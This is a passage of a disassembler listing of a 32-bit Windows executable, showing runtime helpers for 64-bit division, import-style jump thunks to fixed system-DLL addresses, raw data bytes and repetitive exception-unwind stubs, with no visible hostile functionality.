		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 0EAh, 0Dh
		dd 0E9907781h, 777E6714h, 8091F5E9h, 0E9907B77h, 778111C8h
		dd 35F0E990h, 0E9907780h, 7781108Ch, 5B6DE990h,	3D83777Fh
		dd 50E9F4h, 0FF0C75FFh,	0E8042474h, 777FE54Ch, 68C35990h
		dd 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch, 0C4830000h
		dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
		dd 7F593EE9h, 0E9902577h, 778008D8h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_4368EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0D3h, 0A0h
		dd 0E9907780h, 7780862Ch, 811478E9h, 0E990CF77h, 7780A486h
		dd 0A805E990h, 0E9907780h, 7780AB78h, 80A99BE9h, 34E9F577h
		dd 397780ADh, 8111D3E9h, 0E9903277h, 7780B15Eh,	8084DDE9h
		dd 0E990E877h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h
		dd 3C0E990h, 0C3E97780h, 0B3778007h, 887EE990h,	0E990777Eh
		dd 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh, 8038B2E9h
		dd 0E9907B77h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780030Ch, 80A144E9h, 936C6777h, 0B2A13AAFh,	2538AC54h
		dd 119882D8h, 0A16458h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FE8DBE8h
		dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h
		dd 0D8B777Eh, 50E8E8h, 0E1E80889h, 90777E86h, 0E8E40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
		dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h,	0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
		dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0CAE850A4h
		dd 90022C95h, 1D045F6h,	0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	244A054h
		dd 0B322E850h, 4589FFFCh, 0D3E85098h, 90778032h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		nop
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_436BD4	dd 777FE279h, 32BCE990h, 0CBE97780h, 4E777FC1h,	8301E990h
		dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 7E8593E9h, 0E9907677h
		dd 777E85C3h, 7FE75FE9h, 0E9909577h, 777FF070h,	818206E9h
		dd 0E990D977h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
		dd 0C58844E9h, 0E9901B75h, 75C697E8h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0C60A56E9h, 85E90775h, 8875C4EEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23A9C43h, 9CEBE990h,	0E990023Ah, 23A9E6Fh, 9382E990h
		dd 0E990023Bh, 23C937Ch, 3CA528E9h, 0E9903702h,	23D9370h
		dd 936AE990h, 0E990023Eh, 23EAB6Eh, 0AD80E990h,	0E990023Eh
		dd 23F9358h, 9602E990h,	0E990023Fh, 23F975Bh, 3F9F1FE9h
		dd 0E9905302h, 2409340h, 9611E990h, 0E9900240h,	2419334h
		dd 96CEE990h, 97E90241h, 0E1024199h, 9322E990h,	0E9900242h
		dd 243931Ch, 449317E9h,	0E9900402h, 2449F00h, 930AE990h
		dd 0E2E90245h, 4E02459Ah, 0A0EFE990h, 0E9900245h, 24692F8h
		dd 92F2E990h, 0F9E9023Ah, 9702399Ch, 92E6E990h,	0E9900239h
		dd 23892E0h, 379B63E9h,	0E9907102h, 23792D4h, 3692CFE9h
		dd 0E9903C02h, 2359B2Ah, 9735E990h, 0E9900235h,	23592BCh
		dd 34989CE9h, 0E9905502h, 22C92B0h, 3492ABE9h, 8CE96702h
		dd 6702339Ch, 9C45E990h, 0E9900233h, 7C4CA385h,	0A297E990h
		dd 0E9907C4Ch, 2339A20h, 98C8E990h, 0E9900233h,	2339280h
		dd 329B9EE9h, 0E9905802h, 2329B47h, 329A07E9h, 0D7E9CA02h
		dd 4B023298h, 96A4E990h, 0E9900232h, 232945Ah, 9256E990h
		dd 0E9900232h, 2319F53h, 319CF8E9h, 0E9904E02h,	23198DCh
		dd 982DE990h, 0E9900231h, 2319238h, 9EFFE990h, 0F5E90230h
		dd 6702309Ah, 993DE990h, 0E9900230h, 23095D9h, 921AE990h
		dd 0E9900230h, 22F9C4Ah, 98D2E990h, 0E990022Fh,	22F9890h
		dd 9202E990h, 0E990022Fh, 22E9E71h, 9BD7E990h, 0E990022Eh
		dd 22E9753h, 91EAE990h,	95E9022Eh, 46022DA0h, 9ED8E990h
		dd 60E9022Dh, 76022D9Bh, 2D994FE9h, 0CDE94E02h,	0E6022D91h
		dd 9307E990h, 0A6E9022Ch, 5D001B73h, 469587E9h,	0E9906C02h
		dd 251A263h, 91AEE990h,	0E990024Ch, 25191A8h, 5091A3E9h
		dd 9DE93202h, 88024F91h, 4E9197E9h, 0E9906702h,	24D96FEh
		dd 948EE990h, 0E990024Dh, 24D9184h, 9AD4E990h, 0E990024Ch
		dd 24C98A0h, 9628E990h,	9E9024Ch, 37024699h, 4B9DAFE9h
		dd 0FFE96202h, 97024B98h, 9526E990h, 0E990024Bh, 24B9154h
		dd 4A914FE9h, 0E9903202h, 2499148h, 0AC0AE990h,	81E90248h
		dd 410248A8h, 48A60DE9h, 0A5E92802h, 4B0248A4h,	912AE990h
		dd 0E9900248h, 2479124h, 0A22EE990h, 0E9907C60h, 7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436EFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		jmp	near ptr 71AB428Ah
sub_436F00	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F1E	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		dd 67BC3DE9h
; ---------------------------------------------------------------------------
		jno	short loc_436F7F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F30	proc near
		jmp	near ptr 71AB3E00h
sub_436F30	endp

; ---------------------------------------------------------------------------
		db 28h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		jmp	near ptr 71AB3B91h
sub_436F3C	endp

; ---------------------------------------------------------------------------
		db 2Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		nop
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		dd 67E16FE9h
; ---------------------------------------------------------------------------
		jno	short loc_436F8C

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		dw 0E5E9h
		dd 7971689Bh, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
		db 67h,	71h, 90h
; ---------------------------------------------------------------------------


loc_436F7F:				; CODE XREF: ___:00436F28j
		jmp	near ptr 71AB2C69h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
; ---------------------------------------------------------------------------


loc_436F8C:				; CODE XREF: ___:00436F58j
		fst	dword ptr [edi]
		push	0D4F4E971h
		db	67h
		jno	near ptr 6F23h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		jmp	near ptr 71ABE6EBh
sub_436F96	endp

; ---------------------------------------------------------------------------
		push	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		jmp	near ptr 71B25099h
sub_436FAE	endp

; ---------------------------------------------------------------------------
		db 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_436FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp

; ---------------------------------------------------------------------------
		db 0B3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 0F192E990h, 0E9907780h, 7780F33Ch
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
